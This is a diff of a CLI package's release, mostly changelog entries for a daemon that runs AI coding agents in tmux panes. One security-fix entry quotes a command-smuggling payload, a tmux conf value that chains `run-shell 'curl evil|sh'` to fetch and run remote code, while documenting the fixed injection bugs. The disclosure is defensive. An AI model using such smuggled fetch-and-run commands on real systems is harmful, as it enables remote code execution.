@nonbot/cli 0.9.13 → 0.10.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -1,5 +1,172 @@
1
1
  # @nonbot/cli changelog
2
2
 
3
+ ## 0.10.0 (2026-09-04)
4
+
5
+ - At-exit transcript for fast-exit runs (memory C32, 2026-09-04): the daemon keeps a rolling
6
+ per-pane tail (scrubbed + 16KB-clamped through the snapshot path, every poll while alive)
7
+ and appends it to the LOCAL `activations.log` as one `exit-transcript` entry when the pane
8
+ vanishes (completed / failed / stopped / untracked) — local-only per S11, metadata-only
9
+ log lines, idempotent. `nonbot logs` summarises it; `--json` carries the tail. Opt out
10
+ with `NONBOT_NO_EXIT_TRANSCRIPT=1`. `src/lib/exit-transcript.ts`; +13 tests.
11
+ - Update-available nudge (DAEMON-UI ⑤, 2026-09-04): once per daemon start and at most
12
+ once per 24h while running, the daemon asks `registry.npmjs.org/@nonbot/cli/latest`
13
+ (3s timeout, own fetch, failure silent) and prints ONE amber line when newer:
14
+ `Update available: @nonbot/cli X → Y (npm i -g @nonbot/cli)`. Opt out with
15
+ `NONBOT_NO_UPDATE_CHECK=1`. Zero runtime deps. `src/lib/update-check.ts`; +21 tests.
16
+ - Stop-daemon restart immunity (2026-09-04): a remote `shutdown` record issued before this
17
+ daemon process started (`requestedAt` < daemon start) is ignored — noted once as
18
+ `stale stop signal ignored` — so a daemon restarted inside the `:all` key's 120s TTL is
19
+ no longer re-killed. Signals with no timestamp (paused cloud runner, old server) are
20
+ still honoured. `shutdownPredatesDaemon` in `daemon-lifecycle.ts`; +8 tests.
21
+ - Hub egress retry buffer is bounded AT ENQUEUE (2026-09-04): `trimRetryQueue` runs on
22
+ every drain into `retryQueue`, not only on the 429 branch — keeps the newest
23
+ `EGRESS_RETRY_MAX` events plus the most recent entry per activation/pane, so a long
24
+ outage can no longer grow the buffer without limit. `hub.retryQueueSize()` exposes the
25
+ count. Tests: `tests/choir/retry-queue-trim.test.ts`.
26
+ - Cost repair (2026-08-03, commit `3f9c7215`): `/api/cli/run-prompts/answered` folded
27
+ into the `/pending` poll body as `answeredPrompts` — a current daemon + current server
28
+ make ONE request per poll cycle instead of two; the standalone endpoint remains as the
29
+ fallback for older servers (feature-detected on field PRESENCE). Also: daemon-held
30
+ wall-clock ceiling (`sweepLocalGuardrails`) and workspace-reaper liveness guards
31
+ (see CLAUDE.md "Cost ceilings").
32
+
33
+ ## 0.9.13 (2026-07-24)
34
+
35
+ - `nonbot daemon attach` — reattach a lost terminal window to the daemon's detached tmux
36
+ session (the local half of the headless-indicator loop: surfaces show
37
+ `connected · headless`, this brings the window back). Probes `tmux has-session` then
38
+ execs interactive `tmux attach -t nonbot` (or `--session <name>`); friendly hint when
39
+ there's no session. Web mirrors it: the headless badge on `/run` is a click-to-copy
40
+ `tmux attach -t <session>` button. `attachDaemonSession` in `daemon-lifecycle.ts`; +4 tests.
41
+
42
+ ## 0.9.12 (2026-07-24)
43
+
44
+ - Stop-daemon-from-any-surface (spec:
45
+ `docs/superpowers/specs/STOP-DAEMON-FROM-ANY-SURFACE-RESEARCH-2026-07-24.md`, decisions
46
+ LOCKED — kill-everything semantics). (1) **Remote stop**: `/pending` may carry
47
+ `shutdown: { requested, scope }` (server KV `cli-daemon-shutdown:<user>:<machine|all>`,
48
+ queued by web `/run`, `/m/runs`, tvOS/iOS/watch, MCP `run_stop_daemon`, or
49
+ `nonbot daemon stop --machine/--all`). The daemon kills every tracked pane (awaited
50
+ `executePendingKills`), sends final run beats, POSTs the `/api/cli/daemon/stop-ack`
51
+ goodbye (server clears heartbeats → surfaces flip instantly), removes its PID file,
52
+ kills its OWN tmux session (no zombie `nonbot` session), exits 0. Handled before new
53
+ activations — never launch work about to be killed. (2) **`nonbot daemon stop`**
54
+ (local-first): PID → SIGTERM → verify (≤3s) → fallback `tmux kill-session -t nonbot`;
55
+ `--machine <id>` / `--all` go remote. (3) **Hardening**: SIGTERM handler (shares the
56
+ SIGINT graceful body), PID file `<configDir>/daemon.pid` (written at startup, removed on
57
+ every exit path, skipped in oneShot), headless indicator `X-Tmux-Attached` per poll
58
+ (`#{session_attached}` probe → "connected · headless" chips web-side). New
59
+ `src/lib/daemon-lifecycle.ts` + `tests/daemon-lifecycle.test.ts` (21 tests); 1476 total green.
60
+
61
+ ## 0.9.10 (2026-07-10)
62
+
63
+ - Daemon visibility slice. (1) Five stat headers on every `/pending` poll
64
+ (`X-Runs-Active/-Done/-Failed`, `X-Prompts-Open`, `X-Poll-Interval-Ms` — always sent,
65
+ zeros meaningful). (2) On-demand output snapshots: `/pending.snapshotRequests[]` →
66
+ `src/lib/snapshot.ts` capture (tail incl. scrollback) → scrub (`pat_`/env-line/Bearer) →
67
+ 16KB tail-clamp → POST `/api/cli/activations/:id/snapshot`; pane resolved ONLY from
68
+ `trackedPanes` (pane-binding invariant), 2xx/409 terminal, KV-only server-side. (3) Non-claude prompt
69
+ reporting from the NEEDS-YOU sweep (same idempotent `rp_` promptId as the claude hook;
70
+ claude panes skipped; codex y/n prompts fail closed — documented limit). (4) `lastSeenAt`
71
+ drift fix + 35s freshness window + `daemonConnected` preference in `status`/`doctor`.
72
+ New `tests/snapshot.test.ts`, `tests/prompt-report-sweep.test.ts`, `tests/status.test.ts`.
73
+
74
+ ## 0.9.7 (2026-06-20)
75
+
76
+ - Daemon UX overhaul — logo-first restyle + the two structural fixes that made it "wonky."
77
+ (1) Killed the in-pane pinned footer (`\r`+erase-to-EOL) — the root cause of "text box
78
+ gets wonky mid-run, scrolling above/behind it." Now: tmux status bar owns the live
79
+ readout (can't be scrolled over); outside tmux a clean `heartbeatLine()` scrolls per
80
+ idle cycle; `liveFooter()` the function is kept (the bug was the daemon's pinning, not
81
+ the content). (2) Masthead size-degrades — `compactMasthead()` one-line strip when the
82
+ pane is tiled below the 63-col/16-row block wordmark, so it never wraps. Palette → the
83
+ logo: cream `#F0EBE2` wordmark + ONE periwinkle-blue `#6C8CFF` dot/accent + blue→indigo
84
+ `gradientRule()`, the `~ $ nonbot run` `promptLine()` signature (daemon-only), retiring
85
+ the 6-hue `WORDMARK_GRADIENT` rainbow. tmux chrome + pane borders retuned to the palette
86
+ with WAITING-ON-YOU loudest (amber). Presentational only — zero wire/protocol/pane-binding
87
+ changes. New `output.ts` helpers (`promptLine`/`gradientRule`/`compactMasthead`/
88
+ `WORDMARK_DOT_COLS`/`c.cream/blue/indigo`) + `daemon.ts` footer rip-out + size-gate.
89
+ Design + real-output screenshots in `docs/mockups/`; 1394 tests green.
90
+
91
+ ## 0.9.6 (2026-06-18)
92
+
93
+ - Daemon + tmux terminal UI upgrade — NEEDS-YOU is now impossible to miss across all three
94
+ local surfaces: the daemon terminal (amber banner + tmux bell + red footer), the tmux
95
+ pane chrome (red `pane-border-status` border + ‼ waiting via `@nb_state`), and a new
96
+ nonbot tmux status bar (`N run · M done · ⚠ NEEDS YOU · host · poll Ns`). Plus a
97
+ self-rewriting live heartbeat footer (replaced in 0.9.7), per-pane titles surfaced via
98
+ `pane-border-status`, and a MACHINE identity row. Zero runtime deps, pane-binding-safe (paneId
99
+ `/^%\d+$/`; only ints / enums / tmux builtins reach the chrome). Chrome defaults on
100
+ inside the daemon's tmux session; opt out with `NONBOT_NO_TMUX_STATUS=1`. New renderers
101
+ in `src/lib/output.ts` + `src/lib/pane-title.ts`; tests in `tests/output.test.ts` +
102
+ `tests/pane-title.test.ts`.
103
+ - Security: 3 daemon command-injection HIGH fixes (regressions of recent work, `41e27661`).
104
+ (1) tmux conf validator `isSafeTmuxConf` now validates EVERY `;`-segment's first token +
105
+ rejects backslash (escaped-newline / `\;` smuggling) + forbids `default-command` /
106
+ `default-shell` / `command-alias` — was: only `token[0]` checked, so
107
+ `set -g x ; run-shell 'curl evil|sh'` reached `tmux source-file` → ran a shell. (2) iTerm
108
+ DynamicProfile now forbids `Triggers` / `Smart Selection Rules` / `Semantic History` /
109
+ `Bound Hosts` (their presence drops the theme — no action introspection needed) — was:
110
+ `Triggers` omitted → `RunCommandTrigger` auto-ran a command. (3) `injectAnswer` /
111
+ `deliverAnsweredPrompts` bind the server-supplied paneId to the daemon's own
112
+ `trackedPanes` (drop untracked activations + any server/local paneId mismatch) — was:
113
+ shape-checked only → a forged answer type could target any `%\d+` pane.
114
+ - Bug-hunt: 7 cli bug fixes (`46a6a22f`). `completion.ts` `listLivePaneIds` returns null
115
+ on a list FAILURE (≠ empty Set) so one `tmux list-panes` hiccup no longer
116
+ false-completes EVERY tracked Run (HIGH); a transient `/complete` POST failure now
117
+ leaves the pane tracked to retry instead of stranding a finished Run;
118
+ `executePendingKills` validates the server `tmuxPaneId` against `/^%\d+$/` before
119
+ send-keys / kill-pane (a forged paneId can't target an arbitrary pane — HIGH);
120
+ `choir/isolated-session.ts` reconcile probes `git status` before the clean-path
121
+ force-remove so a no-commit "Already up to date" branch carrying real uncommitted work
122
+ is left for the human, not `--force`-discarded (§9 data-safety); new
123
+ `src/lib/bounded-set.ts` FIFO `evictOldestToCap` replaces the wholesale
124
+ `injectedPrompts` / `seen` `clear()` — closing the double-keystroke + double-launch windows.
125
+
126
+ ## 0.9.4 / 0.9.5 (2026-06-17)
127
+
128
+ - Worktree isolation + branch-merge reconcile — the two Choir capabilities KEPT under Run
129
+ (the headless conductor was DROPPED). Server migration 115 adds
130
+ `portfolio_activations.isolate` (NULL/0 = shared working tree, the legacy default → zero
131
+ regression; 1 = isolate). For a `set`/`fanout` run marked isolate (NOT `sequence` —
132
+ one-at-a-time, nothing to isolate), the daemon provisions a dedicated `git worktree` on
133
+ a `choir/<session>/<pane>` branch per agent (`src/lib/choir/worktree.ts` +
134
+ `coordinated-set.ts`) so parallel agents never stomp one shared tree, then runs
135
+ reconcile (`src/lib/choir/reconcile.ts` + `isolated-session.ts`): merge branches in
136
+ order, build-gate, and STOP at the first conflict — the human is the gate, NEVER
137
+ `--force`. Git mechanics PROVEN against a real temp repo
138
+ (`tests/choir/reconcile-git-integration.test.ts` +
139
+ `launch-coordinated-set-git-integration.test.ts`). The real-I/O integration test caught
140
+ two production bugs unit-test fakes had masked (both would break the FIRST real isolated
141
+ run): (1) launcher hardcoded `baseBranch='HEAD'` → failed `addWorktree`'s branch regex →
142
+ threw before provisioning anything (fixed: `resolveBaseBranch`); (2) the launcher's
143
+ untracked `.mcp.json` made a no-force `removeWorktree` refuse → leaked worktrees after a
144
+ clean merge (fixed: opt-in `force`, used ONLY on the already-merged clean path).
145
+
146
+ ## 0.9.3 (2026-06-17)
147
+
148
+ - Multi-machine Run routing. The daemon advertises a stable machine id
149
+ (`src/lib/machine.ts`) on every poll as `X-Machine-Id`. Server migration 114 adds
150
+ `portfolio_activations.target_machine_id` (NULL = "any machine", the legacy
151
+ single-daemon behaviour); `/pending` + `/run-prompts/answered` filter to
152
+ `target_machine_id IS NULL OR = <mine>`, so two daemons on ONE account no longer both
153
+ launch every run or cross-deliver answers (tmux pane ids aren't globally unique). A
154
+ `cli-machine` KV registry + `GET /api/cli/machines` back the LaunchComposer machine
155
+ picker (shown at 2+ machines). GOTCHA: a KV `put` with TTL <60s throws (Cloudflare KV
156
+ minimum) → registry stays empty; fixed in `96d0de1a` to clamp ≥60s.
157
+
158
+ ## 0.9.1 (2026-06-17)
159
+
160
+ - Run Prompt Bridge Phase B (daemon). A real claude run gets a Claude Code `Notification`
161
+ hook injected (`--settings .nonbot/hook-<id>.settings.json` → `nonbot run-prompt-hook`);
162
+ the hook captures the paused pane's numbered menu and POSTs it to
163
+ `/api/cli/activations/<id>/prompt`. The daemon poll loop (gated on tracked panes) GETs
164
+ `/run-prompts/answered`, `tmux send-keys` the human's choice into the pane, and POSTs
165
+ `/run-prompts/<id>/delivered`. New `src/lib/run-prompt.ts` +
166
+ `src/commands/run-prompt-hook.ts`; hook injection is opt-in in
167
+ `resolveExecutableCommand` (after the drift/cap checks → no parity drift, pane-binding tests
168
+ unchanged). claude-only. New tests: `tests/run-prompt.test.ts`, `tests/run-prompt-hook.test.ts`.
169
+
3
170
  ## 0.9.0
4
171
 
5
172
  - **Choir collapses into Run.** Launching multiple coordinated agents now comes from the canvas (select stories -> "Run together"), not a terminal command. The daemon groups activations that share a coordinated-set id and launches them with a git worktree per agent + the coordination MCP wired in, each pane on its own per-pane provider (e.g. 2 Claude + 1 Gemini). remains as internal plumbing only.
@@ -70,6 +237,28 @@
70
237
  - Dropped the Ghostty terminal profile (unused). A `ghostty` preference now
71
238
  falls back to the platform default like any other unknown terminal.
72
239
 
240
+ ## 0.5.12 (2026-05-21)
241
+
242
+ - Credential injection into spawned scripts. `spawnTerminalDefault` now accepts `auth` as
243
+ a second parameter and prepends `export NONBOT_PAT=`, `export NONBOT_RUN_ID=`,
244
+ `export NONBOT_BASE_URL=`, and `export NONBOT_ROLE='lead'` to the temp script body.
245
+ `fireActivation` binds auth into a closure for the default path; injected test spawners
246
+ are unaffected. PAT appears only in the 0o700 temp script — never in process args, tmux
247
+ send-keys, osascript args, or log lines. Values are single-quote-escaped via
248
+ `shellQuoteSingle`. Fixes: agents reporting `PAT_LEN=0` + 401s on all
249
+ canvas/portfolio-MCP calls. 11 new tests in `tests/credential-injection.test.ts`.
250
+
251
+ ## 0.5.11 (2026-05-20)
252
+
253
+ - Terminal theming. Activations can carry `payload.terminalTheme` (optional). tmux: writes
254
+ conf to `/tmp/nonbot-theme-<id>.conf` + prepends `tmux source-file` to the script body
255
+ (window-scoped theme). iTerm/iterm-tab: writes iTerm2 DynamicProfile JSON to
256
+ `~/Library/Application Support/iTerm2/DynamicProfiles/nonbot-<id>.json` + opens the
257
+ window with the named profile. Terminal.app: logs a one-line info about the limitation
258
+ and proceeds un-themed. Field validation: any oversized or malformed `terminalTheme` is
259
+ silently dropped (never blocks a Run). `TerminalProfile.launch()` widened to accept
260
+ `opts.itermProfileName`. 28 new tests in `tests/terminal-theme.test.ts`.
261
+
73
262
  ## 0.5.10
74
263
 
75
264
  - Build now strips source comments from the published output, so no internal
@@ -82,10 +271,59 @@
82
271
  - Scrubbed an example email address from the `nonbot status` banner output.
83
272
  - First release published via npm trusted publishing (OIDC) — no token.
84
273
 
85
- ## 0.5.8
274
+ ## 0.5.8 (2026-05-20)
86
275
 
87
276
  - Runs are now marked complete automatically when their terminal closes, so the
88
277
  Recent Activations view on non.bot stays accurate.
278
+ - Internal detail: the daemon tracks launched real-Run tmux panes and POSTs
279
+ `/api/cli/activations/:id/complete` when a pane vanishes, flipping the D1 row
280
+ `running → completed` (server migration 090 widens the status CHECK). Stop-killed panes
281
+ are excluded (cancellation ≠ completion). `fireActivation` now returns
282
+ `ActivationOutcome`. New `src/lib/completion.ts` + 11 tests. Unblocks accurate
283
+ Recent-Activations status and future true queueing.
284
+
285
+ ## 0.5.4 (2026-05-18)
286
+
287
+ - RUN-CLAUDE-BUG-1 fix — unified claude provider with codex/gemini on the AGENTS.md
288
+ "read and start work" prompt. The earlier claude-only `/non.bot:conduct activate <id>`
289
+ slash command pointed at a skill bundle that never shipped (every claude Run was failing
290
+ at first prompt with `Unknown command: /non.bot:conduct`). The fix collapses all three
291
+ providers onto one prompt shape, removes the only Run-host install surface, drops the
292
+ now-dead `realPromptKind: 'slash-conduct'` profile branch in `command-builders.ts`, and
293
+ empties `EXPECTED_SKILLS` in `doctor.ts`. Snapshot test in `tests/sec1-resolver.test.ts`
294
+ pins three-provider parity.
295
+
296
+ ## 2026-05-17 polish pass
297
+
298
+ - (a) First-prompt threading (refined 2026-05-18 — see 0.5.4) so Run-from-canvas no longer
299
+ lands on an empty "ready for input" screen. (b) `daemonOpener()` + `daemonCloser()` in
300
+ `lib/output.ts` replace the bland startup header with a gradient pulse + rotating
301
+ tagline + conversational kvRow labels (you / listening / profile / landing). Cosmetic
302
+ only — no wire changes.
303
+
304
+ ## 0.5.1 (2026-05-17)
305
+
306
+ - tmux pane auto-close on Enter + remote Stop button. Pane id captured
307
+ (`split-window -P -F '#{pane_id}'`) + threaded to D1 (migration 086). Daemon's
308
+ `/pending` poll picks up `pendingKills` array and runs soft-then-hard kill
309
+ (Ctrl-C → 2s grace → `kill-pane`). Activation D1 status is intentionally untouched —
310
+ Stop is a UI cleanup action, not a cancellation.
311
+
312
+ ## 2026-05-16 reliability pass
313
+
314
+ - Three areas hardened in a single day across 5+ iterations: (a) tmux-aware routing +
315
+ auto-wrap into a `'nonbot'` session + `NONBOT TMUX` window labelling, (b) observable
316
+ launch trace (`trace[]` + `launcherStderr/Stdout/ExitCode` posted on ack, joined into
317
+ `/api/cli/activations/recent`), (c) iTerm + Terminal AppleScript bulletproofing via
318
+ `osascript` (Launch Services hijack workaround — `open -a` kept landing in Terminal.app;
319
+ the osascript shape + tmux `new-window` choice landed after 5+ iterations, see
320
+ `git log -- src/lib/terminal.ts`) + `nonbot doctor` extensions for iTerm / MCPs / skills.
321
+
322
+ ## 0.5.0
323
+
324
+ - Adaptive polling cadence — closes the "WebSocket transport" item by decision, not by
325
+ building a DO (DO duration billing would risk the $5 Workers Paid plan; adaptive polling
326
+ is free, stateless, and snappy while a Run is active).
89
327
 
90
328
  ## 0.5.x
91
329
 
@@ -103,3 +341,11 @@
103
341
 
104
342
  - Initial release: `login`, `daemon`, `run`, `status`, and cross-platform terminal
105
343
  launching (macOS, Linux, Windows).
344
+ - Phase 1 (shipped 2026-05-12): install + `nonbot test` banner only — other commands were
345
+ placeholders. Phase 2 (shipped 2026-05-13): `nonbot login` (PAT), `nonbot daemon`
346
+ (poll + spawn), `nonbot run <id>` (one-shot), real `nonbot status`; macOS-only.
347
+ - v0.3.0: pluggable terminal preference (`resolveTerminal` + `TERMINAL_PROFILES`),
348
+ cross-platform spawn (Linux + Windows), `nonbot doctor` health check.
349
+ - v0.4.0: headless mode (`--headless`/`--no-terminal`), multi-account profiles
350
+ (`--profile`), local activation history (`nonbot logs`), login-service install
351
+ (`daemon --install`/`--uninstall`).
@@ -19,6 +19,9 @@ export function buildStartHub(repoRoot, auth) {
19
19
  baseUrl: auth.baseUrl,
20
20
  pat: auth.pat,
21
21
  autoTimers: true,
22
+ log: (s) => {
23
+ process.stderr.write(s);
24
+ },
22
25
  };
23
26
  const hub = createHub(opts);
24
27
  hub.start();